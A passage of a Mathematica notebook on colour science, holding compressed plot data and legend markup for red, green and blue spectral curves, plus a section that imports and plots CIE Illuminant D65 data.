dcMLFxKSdlN+Cx7/Vfz4T/Woj/JYkJ1wvMGmk9RHqSQU3bjhyhE73a9cVELD
o55WbydQP+UnoWcD17jvxon7myUk9XpSpGFh6qvUEoa12rVuVU/qqwIlPKgc
ED7yJF1v00goL52bd3gQ9VdBEha//P1DW3+6PgcJVe/M6J6fR9fvwiT0cTyY
H3SO+qwICbsq9onemEV9VqSEwTur9mydS9cDoyR0Mmmn1ChBjpbwvFKHD0lt
qe/SFuRbPHV57zjqu2Ik3F6l/v3WVeq7JAm2whdeFQshx0v4JJU8nLme+i+7
hMStve4GViMnSthZIqX6wmDqwxwSnvzUanBGON1vnixhy5hHrSaME99HLMi7
KtPYbhX1Y6kS9G2SR35zW1wvlfDm0LnkDQ3JGRKCOjv2tphGfZlbgu5zriHt
IfVl2RIaX5kxX/6N/M/1Bt/0zrvPUH+WJ8H/+6bTtnQlewp+/ia06plL1Kfl
S7gUMHnmzGFklYzQGZOjoz5Sv1ZURm7Nlycv/0H2k9H1wEUfc2uyv4wXIf6T
Hj+gvk0tY0dHn/Ppi8iBMnbmlmi/uTNZI2PqiHvjeviQg2RkfTAER7uon4OM
s5vWzl0nk8NkTDfuSDoWKq5fy2g4ouxxW2lypIzxSZ00q6+J78/JOFfk6YN7
G8nRMiYV6aX/1kTWylhTYtT1993JMTJCdmU4R9QnSzK6xG2Ib+RDjpcRt6d1
uSqiD7TL2D2iVOuvD5ITZZQprSm5fxnZIaPz5Zm1qpnJyTJK5J94rRr43+83
ZLZ9cuOnn8mpMlJXf9609TvRN8pY3Trm0g9lRN8o46g0YtKWfOoT3TJG/2d7
2Isc0TfKuOuj9VzLFH1jwfPZ72NCN/H9wDwZJSctLtF4OdkjY9mpgH5948j5
Mop9v2nczvHifgMFNTWDblftRy6qICR10+FJoeL+AwUdLi66vFxD/ud6w6fF
bw2VyWoFMW1i+77wIQcqaH3mzcc7j6nP1CgoK/eb3OAiOUiBttaWes4DZCh4
PTL9WZc15DAFjw431+TGkyMU7Hzzck/XMeRIBcmvPIf6RJCjFJSodanE+Sbk
aAVF9Z/GGMuQtQr86zdYHXyT+tMYBT72ZqYyC8mSgrnhI/IndSTHK2gWrzpy
8m/qT+0K4tsNvHTLQU4s+Pvl1B4rO4n7QRRciHlf7ImH+tNkBUND5JszF5Od
CooY8tLKtyanKnj+/uaUb3KpH3UpCC9zd/PBWeQMBYqniWd2C7JbQftt3W7t
vkV9Z7aCIdeTDo+aSf7n+w0LM3yzg8h5CvadqJxWI0/0jQX5Gj251H+J6BsV
TCrUpltyuLjfxooXnwaX8ytELmpFiepnP6zdKz5vWvHpUPRvYyaKz5tWDF6w
suiYxuLzphVjfLpf2fSE7h8KtOJe/ZtXa2wR9ydZUXFgWtUMLTnIimc7x51e
1ULcr2RF952L/k76QN/3DLNiavpm36yj5AgrejxvtreU+D5opBVla0f69R1A
jrLi6KVHKZsbkqMLfMc15eUn+j6TljmGWWKOZ7YzJzI7mJOZncypzC7mDGY3
czZzDnMes4c5n1ll+9JFmf2Y/ZnVzIHMGuYgZjCHMUcwRzJHMUcza5ljmCXm
eGY7cyKzgzmZ2cmcyuxizmB2M2cz5zDnMXuY85lVsWz+zH7M/sxq5kBmDXMQ
M5jDmCOYI5mjmKOZtcwxzBJzPLOdOZHZwZzM7GROZXYxZzC7mbOZc5jzmD3M
+cyqaWz+zH7M/sxq5kBmDXMQM5jDmCOYI5mjmKOZtcwxzBJzPLOdOZHZwZzM
7GROZXYxZzC7mbOZc5jzmD3M+cyqODZ/Zj9mf2Y1cyCzhjmIGcxhzBHMkcxR
zNHMWuYYZok5ntnOnMjsYE5mdjKnMruYM5jdzNnMOcx5zB7mfGZVPJs/sx+z
P7OaOZBZwxzEDOYw5gjmSOYo7hio/u//Cn7+pf/ff+7d1+Td1+Td1+Td1/Rv
fu++Ju++Ju++Ju++Ju++pn/n593X5N3X5N3X5N3X5N3X9O/8vfuavPuavPua
vPuaxPy9+5q8+5q8+5q8+5rE/L37mrz7mrz7mrz7mrz7mv7N793X5N3X5N3X
5N3X5N3X9O/z5d3X5N3X5N3X5N3X5N3X9O/8vfuavPuavPuavPuavPua/p2/
d1+Td1+Td1+Td1+TmL93X5N3X5N3X5N3X5PI793X5N3X5N3X5N3X5N3X9G9+
774m774m774m774m776mf+fv3dfk3dfk3df0330N3n1NX+5r8O5r+nL+3n1N
X87fu6/py/l79zV9OX/vvqYv5+/d1/Tl/L37mr6c//8/+5r+DwrFJGw=
"], {{{}, {
EdgeForm[],
Directive[
RGBColor[1, 0, 0],
Opacity[0.2]],
GraphicsGroupBox[{
PolygonBox[CompressedData["
1:eJwl1WV0FgQUBuBvjI7RXduIweiOjRowmgWMztG10aM7lA4DGEqjpIISSphg
CyYYoHTYgoKC8ezw4znvuf/vvW9YcmpiSqZAIBDE40GPckPmQCCdxYZFLGQB
85nHXOYwm1nMZAbTmcZUppDGZCYxkQmMZxxjSSWFMYxmFCMZwXCGMZQhDGYQ
yQxkAP3pR1/60Jte9KQH3elGEl3pQiIJxBNHZzrRkQ60px1taUMsrWlFS2Jo
QXOa0ZQmRBNFYxrRkAbUpx51qUNtalGTGlSnGlWpQiSVqUQEFalAecoRThih
lKUMpSlFSUpQnGIUpQiFKURBCpCffOQlhDzkJhc5yUF2spGVLGQmmEwEBT1a
mP/Ev/zDQx7wN39xn3v8yR/c5Q6/8xu/8gs/8xM/8gO3ucVNbnCda1zlCpe5
xPd8x0Uu8C3f8DVfcZ5zfMkXfM5nfMonnOUMH/MRH/IB7/Me7/IOpznF27zF
m7zB67zGSU5wnGO8yisc5QiHOcTLvMRBDvAiL7CffexlD7vZxfM8x052sJ1t
bGULm9nEszzDRtIzbpf1rONpnuJJnmAta1jNKlayguUsYylLMv4Aj7GYRSxk
AfOZx1zmMJtZzGQG05nGVKaQxmQmMZEJjGccY0klhTGMZhQjGcFwhjGUIQxm
EMkMZAD96Udf+tCbXvSkB93pRhJd6UIiCcQTR2c60ZEOtKcdbWlDLK1pRUti
aEFzmtGUJkQTRWMa0ZAG1KcedalDbWpRkxpUpxpVqUIklalEBBWpQHnKEU4Y
oZSlDKUpRUlKUJxiFKUIhSlEQQqQn3zkJYQ85CYXOclBdrKRlSyog0AwGV3x
PyiJp2E=
"]]}]}, {}, {
EdgeForm[],
Directive[
RGBColor[0, 1, 0],
Opacity[0.2]],
GraphicsGroupBox[{
PolygonBox[CompressedData["
1:eJwl1WecyAUcBvD/DfO4QpFQCe0kpIgmZaaIJhWSIiozkozK3uvs7Wx37nDc
2e7sPc7ezuacPfv69OL7vPy9ej7Pr3CDFrWahwZBEEIP0Z3h4UEQRWRYEOQk
BxFkJxtZyUJmMhFOGKGEEHDf0Xvc5Q63ucVNbnCda1zlChlcJp1LXOQC5znH
Wc5wmlOkcZITHOcYRznCYQ5xkAPsZx972UMqu9nFTnawnW1sZQub2cRGNrCe
daxlDSkks5pVrGQFy1nGUpaQRCKLWUQCC1nAfOKJYx6xxDCXOcxmFjOZwXSm
Ec1UpjCZSUxkAuMZx1jGMJpRjGQEUQxnGEMZwmAGMZAB9KcffelDb3rRkx50
51/+4W+60ZUudOYvOvEnHfmDDrTnd9rRlja0phUt+Y1f+YUWPCjmzzSjKT/x
I034gcZ8TyMa0oDv+JZvqE89vuYrvuQLPucz6lKHT6lNLT7hY2ryETWoTjWq
UoXKfMgHVKIi7/Me7/IOb/MWFSjPm5SjLG/wOmV4jdKUoiSvUoJXKM7LvMSL
vMDzPMezPEMxilKEpynMUzzJExSiIAV4nPw8Rj7y8iiPkIfc5OJhHiKSnOQg
guxkIytZyEwmwgkjlBAC7tuRe9zlDre5xU1ucJ1rXOUKGVwmnUtc5ALnOcdZ
znCaU6RxkhMc5xhHOcJhDnGQA+xnH3vZQyq72cVOdrCdbWxlC5vZxEY2sJ51
rGUNKSSzmlWsZAXLWcZSlpBEIotZRAILWcB84oljHrHEMJc5zGYWM5nBdKYR
zVSmMJlJTGQC4xnHWMYwmlGMZARRD/adYQxlCIMZxEAG0J9+9KUPvelFz5D/
f8R/6uPhqw==
"]]}]}, {}, {
EdgeForm[],
Directive[
RGBColor[0, 0, 1],
Opacity[0.2]],
GraphicsGroupBox[{
PolygonBox[CompressedData["
1:eJwV1GV7FgQAheGXEBQENhoGbANGd45mIwaMHN0wujY6RsOIURs5UkLBbsKg
TFBKQWlsSaUVDMDbD/fzC851wuMT4xIyBgKBDKRIrkyBwJrMgUA6q1nFSlaw
nDRSWcZSlrCYRaSwkAXMZx7JzGUOs5nFTGYwnWlMJYkpTGYSE5nAeMYxljGM
JpEERjGSEQxnGEMZwmAGMZABxNOffvSlD73pRU960J1udKULnelER+LoQHva
0ZY2tCaWVrSkBTE0pxlNaUI0UTSmEQ1pQH3qUZc6RFKbWtSkBtWpRlWqUJlK
VKQC5SlHWcpQmlJEUJISFCecMEIpRlGKEEJhClGQAuQnH3nJQ26CCSIXOcnB
s2QnG8/wNFnJwlNkJhMZyUCAJzb2mEf8yz/8zV885AF/8gf3ucdd7nCbW9zk
d37jBte5xlWucJlf+YWf+Ykf+YHv+Y5LXOQC5znHWc5wmm/5hlOc5Gu+4gTH
OcZRjvAlX3CYQ3zOZ3zKJ3zMRxzkAPvZx14+5APe5z32sJtd7ORd3uFt3uJN
3uB1XuNVXuFlXuJFdrCdF3iebWxlC5t5jk1sZAPrWcda0v//AFazipWsYDlp
pLKMpSxhMYtIYSELmM88kpnLHGYzi5nMYDrTmEoSU5jMJCYygfGMYyxjGE0i
CYxiJCMYzjCGMoTBDGIgA4inP/3oSx9604ue9KA73ehKFzrTiY7E0YH2tKMt
bWhNLK1oSQtiaE4zmtKEaKJoTCMa0oD61KMudYikNrWoSQ2qU42qVKEylahI
BcpTjrKUoTSliKAkJShOOGGEUoyiFCGEwhSiIAXITz7ykofcBBPEf4uJs14=
"]]}]}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}}, {{}, {}, {
Hue[0.67, 0.6, 0.6],
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]],
LineBox[CompressedData["
1:eJwl1WV7EAQUBeCNztE9YjC6u7tHj24YnSM3ursUDFBCwaAbJZXGoBulUVJB
6VR49/DhPfcXnHNDIiLD+wcGBARMFTE3FrGJQ1ziEZ8EJCQRiUlCUoJIRnJS
kJJUpCYNaUlHejKQkUwEk5ksZCUbIWQnB6HkJBe5yUNe8pGfAhSkEIUpQlGK
UZwSlKQUpSlDWcpRngpUpBKVqUJVqlGdGtSkFrWpQ13CqEd9GtCQRjSmCeE0
pRnNaUFLWtGaNrSlHe3pQEc60ZkIutCVbnSnBz3pRW/60Jd+9CeSAQxkEIMZ
wlCiiGYYwxnBSEYxmjGMZRzjmcBEJjGZKUxlGtOZwUxmMZs5fMCHzGUeH/Ex
n/Ap81nAZ3zOQhaxmCV8wZcsZRlf8TXf8C3LWcFKVrGaNaxlHevZwEY2sZkt
fMf3bGUb29nBTnbxAz+ymz3sZR/7OcBBDvETP/MLv3KYIxzlGMc5wUlOcZoz
nOUc57nAb/zORS5xmStc5RrXucEf/MlNbnGbO9zlHn/xN/d5wD/8y0Me8Zgn
POUZz3nBS17xmjf8x/+8Jab8gcQiNnGISzzik4CEJCIxSUhKEMlITgpSkorU
pCEt6UhPBjKSiWAyk4WsZCOE7OQglJzkIjd5yEs+8lOAghSiMEUoSjGKU4KS
lKI0ZShLOcpTgYpUojJVqEo1qlODmtSiNnWoSxj1qE8DGtKIxjQhnKY0ozkt
aEkrWtOGtrSjPR3oSCc6E0EXutKN7vSgJ73oTR/60o+Y8Y5kAAMZxGCGMJQo
ohnGcEYwklGMZgxjGcd4JjCRSUxmSuD73/AOmGemIA==
"]]}, {
Hue[0.9060679774997897, 0.6, 0.6],
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]],
LineBox[CompressedData["
1:eJwV02V7FgQAheGXDRjd0t2IGCitiNLdggKiIKF0KiIgGORGd3d3ju4aPbpj
dI/OcfPhfv7AuU62Ju1qtY0VCAT6Sj/6M4CBDCKUMAYzhKEMYzgjGMkoRjOG
sYxjPBOYyCQmM4WpTGM6M5jJLGYzh7nMYz4LWMgiFrOEpSxjOStYySpWs4Zw
1rKO9WxgI5vYzBa2so3t7GAnu9jNHvYSwT72c4CDHOIwR4jkKMc4zglOcorT
nOEs5zjPBS5yictcIYqrXOM6N7jJLW5zh7vc4z4PeEg0j3jME57yjOe84CWv
eM0b3hLzfuSgQCAWQQQTmzjEJYR4xCcBCUlEYpKQlGQkJwUpScUHpCYNaUlH
ejKQkUxkJgtZyUZ2cpCTXOQmD3nJx4fk5yMK8DGf8CmfUZDP+YJCFKYIRSlG
cUrwJV9Rkq8pxTd8S2nKUJZylKcCFalEZapQlWpUpwY1qUVt6lCX76hHfb7n
BxrQkEb8SGN+4mea0JRfaEZzWtCSX/mNVrSmDW1pR3s60JFOdKYLXfmdP+jG
n3TnL3rQk178TW/68A//8h//05d+9GcAAxlEKGEMZghDGcZwRjCSUYxmDGMZ
x3gmMJFJTGYKU5nGdGYwk1nMZg5zmcd8FrCQRSxmCUtZxnJWsJJVrGYN4axl
HevZwEY2sZktbGUb29nBTnaxmz3sJYJ97OcABznEYY4QyVGOcZwTnOQUpznD
Wc5xngtc5BKXuUIUV7nGdW5wk1vc5g53ucd9HvCQaB7xmCc85RnPecFLXvGa
N7wlhkCw/xNEMLGJQ1xCiEd8EpCQRCQmCe8ARgzgbg==
"]]}, {
Hue[0.1421359549995791, 0.6, 0.6],
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]],
LineBox[CompressedData["
1:eJwNxGOAFgYAANAv12rZvmzbNi+7Lusu23d12TVkbbXl2nLLDVlbxpax3Jbf
j/eCQsKCQ6MEAoFIJYgWCCQkEYlJQlKSkZwUpCQVqUlDWtKRngxkJIhMZCYL
WclGdnKQk1zkJg95yUd+ClCQQhSmCEUpRnFKUJJSlKYMZSlHeSpQkUpUpgpV
qUZ1alCTWtSmDnWpR30a0JBgGtGYJjSlGc1pQUta0Zo2tKUd7elACB3pRGe6
0JVudKcHPelFb0IJow996Ud/BjCQQQxmCEMZxnBGMJJRjGYMYxlHOBGMZwKR
TGQSk5nCVKYxnRnMZBazmcNc5jGfr/iab/iWBSxkEYtZwlKWsZwVrGQV3/E9
q1nDD/zIWtaxng1sZBOb2cJWfuJntrGdHexkF7vZw15+YR/7OcBBDnGYIxzl
V37jd/7gGMc5wUlOcZoznOUc57nAn/zFRS5xmStc5RrXucFNbvE3/3CbO9zl
Hvd5wEMe8Zgn/MtTnvGcF7zkFa95w3/8z1ve8Z4PfOQTgeiBQBSiEo3oxCAm
sYhNHL4gLvH4kvgkICGJSEwSkpKM5KQgJalITRrSko70ZCAjQWQiM1nISjay
k4Oc5CI3echLPvJTgIIUojBFKEoxilOCkpSiNGUoSznKU4GKVKIyVahKNapT
g5rUojZ1qEs96tOAhgTTiMY0oSnNaE4LWtKK1rShLe1oTwdC6EgnOtOFrnSj
Oz3oSS96E0oYfehLP/ozgIEMYjBDGMowhjOCkYxiNGMYyzjCiWA8E4hkIpOY
zBSmMo3pzGAms5jNHOYyj8/WaLIl
"]]}}, {{
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]]}}, {{
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]]}, {}, {}, {}, {}, {}, {}, {}}, {{
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]]}, {}, {}, {}, {}, {}, {}, {}}}], {{}, {}}}, {
DisplayFunction -> Identity, DisplayFunction -> Identity, AspectRatio ->
NCache[GoldenRatio^(-1), 0.6180339887498948], Axes -> {True, True},
AxesLabel -> {None, None}, AxesOrigin -> {381.875, 0}, DisplayFunction :>
Identity, Frame -> {{False, False}, {False, False}},
FrameLabel -> {{None, None}, {None, None}},
FrameTicks -> {{Automatic, Automatic}, {Automatic, Automatic}},
GridLines -> {None, None}, GridLinesStyle -> Directive[
GrayLevel[0.5, 0.4]],
Method -> {
"OptimizePlotMarkers" -> True,
"CoordinatesToolOptions" -> {"DisplayFunction" -> ({
(Identity[#]& )[
Part[#, 1]],
(Identity[#]& )[
Part[#, 2]]}& ), "CopiedValueFunction" -> ({
(Identity[#]& )[
Part[#, 1]],
(Identity[#]& )[
Part[#, 2]]}& )}},
PlotRange -> {{381.875, 780.}, {0, 0.976087481}}, PlotRangeClipping ->
True, PlotRangePadding -> {{
Scaled[0.02],
Scaled[0.02]}, {
Scaled[0.02],
Scaled[0.05]}}, Ticks -> {Automatic, Automatic}}],FormBox[
FormBox[
TemplateBox[{"\"R\"", "\"G\"", "\"B\""}, "LineLegend",
DisplayFunction -> (FormBox[
StyleBox[
StyleBox[
PaneBox[
TagBox[
GridBox[{{
TagBox[
GridBox[{{
GraphicsBox[{{
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]], {
LineBox[{{0, 10}, {20, 10}}]}}, {
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]], {}}}, AspectRatio -> Full,
ImageSize -> {20, 10}, PlotRangePadding -> None,
ImagePadding -> Automatic,
BaselinePosition -> (Scaled[0.1] -> Baseline)], #}, {
GraphicsBox[{{
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]], {
LineBox[{{0, 10}, {20, 10}}]}}, {
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]], {}}}, AspectRatio -> Full,
ImageSize -> {20, 10}, PlotRangePadding -> None,
ImagePadding -> Automatic,
BaselinePosition -> (Scaled[0.1] -> Baseline)], #2}, {
GraphicsBox[{{
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]], {
LineBox[{{0, 10}, {20, 10}}]}}, {
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]], {}}}, AspectRatio -> Full,
ImageSize -> {20, 10}, PlotRangePadding -> None,
ImagePadding -> Automatic,
BaselinePosition -> (Scaled[0.1] -> Baseline)], #3}},
GridBoxAlignment -> {
"Columns" -> {Center, Left}, "Rows" -> {{Baseline}}},
AutoDelete -> False,
GridBoxDividers -> {
"Columns" -> {{False}}, "Rows" -> {{False}}},
GridBoxItemSize -> {"Columns" -> {{All}}, "Rows" -> {{All}}},
GridBoxSpacings -> {
"Columns" -> {{0.5}}, "Rows" -> {{0.8}}}], "Grid"]}},
GridBoxAlignment -> {"Columns" -> {{Left}}, "Rows" -> {{Top}}},
AutoDelete -> False,
GridBoxItemSize -> {
"Columns" -> {{Automatic}}, "Rows" -> {{Automatic}}},
GridBoxSpacings -> {"Columns" -> {{1}}, "Rows" -> {{0}}}],
"Grid"], Alignment -> Left, AppearanceElements -> None,
ImageMargins -> {{5, 5}, {5, 5}}, ImageSizeAction ->
"ResizeToFit"], LineIndent -> 0, StripOnInput -> False], {
FontFamily -> "Arial"}, Background -> Automatic, StripOnInput ->
False], TraditionalForm]& ),
InterpretationFunction :> (RowBox[{"LineLegend", "[",
RowBox[{
RowBox[{"{",
RowBox[{
RowBox[{"Directive", "[",
RowBox[{
RowBox[{"PointSize", "[", "0.006944444444444445`", "]"}],
",",
RowBox[{"AbsoluteThickness", "[", "1.6`", "]"}], ",",
InterpretationBox[
ButtonBox[
TooltipBox[
GraphicsBox[{{
GrayLevel[0],
RectangleBox[{0, 0}]}, {
GrayLevel[0],
RectangleBox[{1, -1}]}, {
RGBColor[1, 0, 0],
RectangleBox[{0, -1}, {2, 1}]}}, DefaultBaseStyle ->
"ColorSwatchGraphics", AspectRatio -> 1, Frame -> True,
FrameStyle -> RGBColor[0.6666666666666666, 0., 0.],
FrameTicks -> None, PlotRangePadding -> None, ImageSize ->
Dynamic[{
Automatic, 1.35 CurrentValue["FontCapHeight"]/
AbsoluteCurrentValue[Magnification]}]],
StyleBox[
RowBox[{"RGBColor", "[",
RowBox[{"1", ",", "0", ",", "0"}], "]"}], NumberMarks ->
False]], Appearance -> None, BaseStyle -> {},
BaselinePosition -> Baseline, DefaultBaseStyle -> {},
ButtonFunction :> With[{Typeset`box$ = EvaluationBox[]},
If[
Not[
AbsoluteCurrentValue["Deployed"]],
SelectionMove[Typeset`box$, All, Expression];
FrontEnd`Private`$ColorSelectorInitialAlpha = 1;
FrontEnd`Private`$ColorSelectorInitialColor =
RGBColor[1, 0, 0];
FrontEnd`Private`$ColorSelectorUseMakeBoxes = True;
MathLink`CallFrontEnd[
FrontEnd`AttachCell[Typeset`box$,
FrontEndResource["RGBColorValueSelector"], {
0, {Left, Bottom}}, {Left, Top},
"ClosingActions" -> {
"SelectionDeparture", "ParentChanged",
"EvaluatorQuit"}]]]], BaseStyle -> Inherited, Evaluator ->
Automatic, Method -> "Preemptive"],
RGBColor[1, 0, 0], Editable -> False, Selectable ->
False]}], "]"}], ",",
RowBox[{"Directive", "[",
RowBox[{
RowBox[{"PointSize", "[", "0.006944444444444445`", "]"}],
",",
RowBox[{"AbsoluteThickness", "[", "1.6`", "]"}], ",",
InterpretationBox[
ButtonBox[
TooltipBox[
GraphicsBox[{{
GrayLevel[0],
RectangleBox[{0, 0}]}, {
GrayLevel[0],
RectangleBox[{1, -1}]}, {
RGBColor[0, 1, 0],
RectangleBox[{0, -1}, {2, 1}]}}, DefaultBaseStyle ->
"ColorSwatchGraphics", AspectRatio -> 1, Frame -> True,
FrameStyle -> RGBColor[0., 0.6666666666666666, 0.],
FrameTicks -> None, PlotRangePadding -> None, ImageSize ->
Dynamic[{
Automatic, 1.35 CurrentValue["FontCapHeight"]/
AbsoluteCurrentValue[Magnification]}]],
StyleBox[
RowBox[{"RGBColor", "[",
RowBox[{"0", ",", "1", ",", "0"}], "]"}], NumberMarks ->
False]], Appearance -> None, BaseStyle -> {},
BaselinePosition -> Baseline, DefaultBaseStyle -> {},
ButtonFunction :> With[{Typeset`box$ = EvaluationBox[]},
If[
Not[
AbsoluteCurrentValue["Deployed"]],
SelectionMove[Typeset`box$, All, Expression];
FrontEnd`Private`$ColorSelectorInitialAlpha = 1;
FrontEnd`Private`$ColorSelectorInitialColor =
RGBColor[0, 1, 0];
FrontEnd`Private`$ColorSelectorUseMakeBoxes = True;
MathLink`CallFrontEnd[
FrontEnd`AttachCell[Typeset`box$,
FrontEndResource["RGBColorValueSelector"], {
0, {Left, Bottom}}, {Left, Top},
"ClosingActions" -> {
"SelectionDeparture", "ParentChanged",
"EvaluatorQuit"}]]]], BaseStyle -> Inherited, Evaluator ->
Automatic, Method -> "Preemptive"],
RGBColor[0, 1, 0], Editable -> False, Selectable ->
False]}], "]"}], ",",
RowBox[{"Directive", "[",
RowBox[{
RowBox[{"PointSize", "[", "0.006944444444444445`", "]"}],
",",
RowBox[{"AbsoluteThickness", "[", "1.6`", "]"}], ",",
InterpretationBox[
ButtonBox[
TooltipBox[
GraphicsBox[{{
GrayLevel[0],
RectangleBox[{0, 0}]}, {
GrayLevel[0],
RectangleBox[{1, -1}]}, {
RGBColor[0, 0, 1],
RectangleBox[{0, -1}, {2, 1}]}}, DefaultBaseStyle ->
"ColorSwatchGraphics", AspectRatio -> 1, Frame -> True,
FrameStyle -> RGBColor[0., 0., 0.6666666666666666],
FrameTicks -> None, PlotRangePadding -> None, ImageSize ->
Dynamic[{
Automatic, 1.35 CurrentValue["FontCapHeight"]/
AbsoluteCurrentValue[Magnification]}]],
StyleBox[
RowBox[{"RGBColor", "[",
RowBox[{"0", ",", "0", ",", "1"}], "]"}], NumberMarks ->
False]], Appearance -> None, BaseStyle -> {},
BaselinePosition -> Baseline, DefaultBaseStyle -> {},
ButtonFunction :> With[{Typeset`box$ = EvaluationBox[]},
If[
Not[
AbsoluteCurrentValue["Deployed"]],
SelectionMove[Typeset`box$, All, Expression];
FrontEnd`Private`$ColorSelectorInitialAlpha = 1;
FrontEnd`Private`$ColorSelectorInitialColor =
RGBColor[0, 0, 1];
FrontEnd`Private`$ColorSelectorUseMakeBoxes = True;
MathLink`CallFrontEnd[
FrontEnd`AttachCell[Typeset`box$,
FrontEndResource["RGBColorValueSelector"], {
0, {Left, Bottom}}, {Left, Top},
"ClosingActions" -> {
"SelectionDeparture", "ParentChanged",
"EvaluatorQuit"}]]]], BaseStyle -> Inherited, Evaluator ->
Automatic, Method -> "Preemptive"],
RGBColor[0, 0, 1], Editable -> False, Selectable ->
False]}], "]"}]}], "}"}], ",",
RowBox[{"{",
RowBox[{#, ",", #2, ",", #3}], "}"}], ",",
RowBox[{"LegendMarkers", "\[Rule]",
RowBox[{"{",
RowBox[{
RowBox[{"{",
RowBox[{"False", ",", "Automatic"}], "}"}], ",",
RowBox[{"{",
RowBox[{"False", ",", "Automatic"}], "}"}], ",",
RowBox[{"{",
RowBox[{"False", ",", "Automatic"}], "}"}]}], "}"}]}], ",",
RowBox[{"Joined", "\[Rule]",
RowBox[{"{",
RowBox[{"True", ",", "True", ",", "True"}], "}"}]}], ",",
RowBox[{"LabelStyle", "\[Rule]",
RowBox[{"{", "}"}]}], ",",
RowBox[{"LegendLayout", "\[Rule]", "\"Column\""}]}], "]"}]& ),
Editable -> True], TraditionalForm], TraditionalForm]},
"Legended",
DisplayFunction->(GridBox[{{
TagBox[
ItemBox[
PaneBox[
TagBox[#, "SkipImageSizeLevel"], Alignment -> {Center, Baseline},
BaselinePosition -> Baseline], DefaultBaseStyle -> "Labeled"],
"SkipImageSizeLevel"],
ItemBox[#2, DefaultBaseStyle -> "LabeledLabel"]}},
GridBoxAlignment -> {"Columns" -> {{Center}}, "Rows" -> {{Center}}},
AutoDelete -> False, GridBoxItemSize -> Automatic,
BaselinePosition -> {1, 1}]& ),
Editable->True,
InterpretationFunction->(RowBox[{"Legended", "[",
RowBox[{#, ",",
RowBox[{"Placed", "[",
RowBox[{#2, ",", "After"}], "]"}]}], "]"}]& )]], "Output",
CellChangeTimes->{{3.839443316883016*^9, 3.8394433237681*^9}, {
3.839443749101613*^9, 3.839443767324998*^9}, 3.83944387468218*^9,
3.8394446115989122`*^9, 3.839445303263796*^9, {3.8394466050254803`*^9,
3.8394466107865047`*^9}, {3.839446672014279*^9, 3.839446691345479*^9},
3.8394471265776567`*^9, 3.8394474648152437`*^9, 3.839451229119439*^9,
3.839451625114189*^9, 3.839452095224019*^9, 3.839452295738779*^9,
3.839453480290059*^9, {3.839497975589863*^9, 3.839497988824851*^9}},
CellLabel->"Out[28]=",ExpressionUUID->"53d5e037-810f-4be1-af7c-e6340c38f5c8"]
}, Open ]]
}, Open ]],
Cell[CellGroupData[{
Cell[TextData[StyleBox["CIE Illuminant D65 spectral reflectance", \
"Section"]], "Subtitle",
CellChangeTimes->{{3.6472069892556753`*^9, 3.647206992644547*^9}, {
3.64720706386841*^9, 3.64720723066249*^9}, {3.647207262730607*^9,
3.647207325235694*^9}, {3.661121273814883*^9, 3.6611212811271257`*^9}, {
3.6611836316553793`*^9, 3.661183634470564*^9}, {3.6815771809416018`*^9,
3.681577182173439*^9}, {3.839450617122533*^9, 3.839450633617247*^9}, {
3.8394508014046373`*^9, 3.839450865878237*^9}, {3.839451960322475*^9,
3.8394519606214457`*^9}},ExpressionUUID->"db386b88-be30-460a-b75a-\
1d41b70c7281"],
Cell[CellGroupData[{
Cell[BoxData[{
RowBox[{
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "d65"}], "}"}], "=",
RowBox[{
RowBox[{"Import", "[", "\"\<data/d65.csv\>\"", "]"}], "\[Transpose]"}]}],
";"}], "\[IndentingNewLine]",
RowBox[{"ListLinePlot", "[",
RowBox[{
RowBox[{"{",
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "d65"}], "}"}], "\[Transpose]"}], "}"}], ",",
RowBox[{"PlotLegends", "\[Rule]",
RowBox[{"{", "\"\<D65\>\"", "}"}]}], ",",
RowBox[{"Filling", "\[Rule]", "Axis"}], ",",
RowBox[{"PlotStyle", "\[Rule]",
RowBox[{"{", "Gray", "}"}]}]}], "]"}]}], "Input",
CellChangeTimes->{{3.839443174827423*^9, 3.839443196909202*^9}, {
3.839443297145803*^9, 3.839443322674219*^9}, {3.8394436220338783`*^9,
3.839443643611599*^9}, {3.839443687480165*^9, 3.839443690407104*^9}, {
3.8394469441842833`*^9, 3.839446951167843*^9}, 3.839450419348551*^9},
CellLabel->"In[29]:=",ExpressionUUID->"d682d8a8-be84-4cf4-ad06-eab0eb9bf406"],
Cell[BoxData[
TemplateBox[{GraphicsBox[{{},
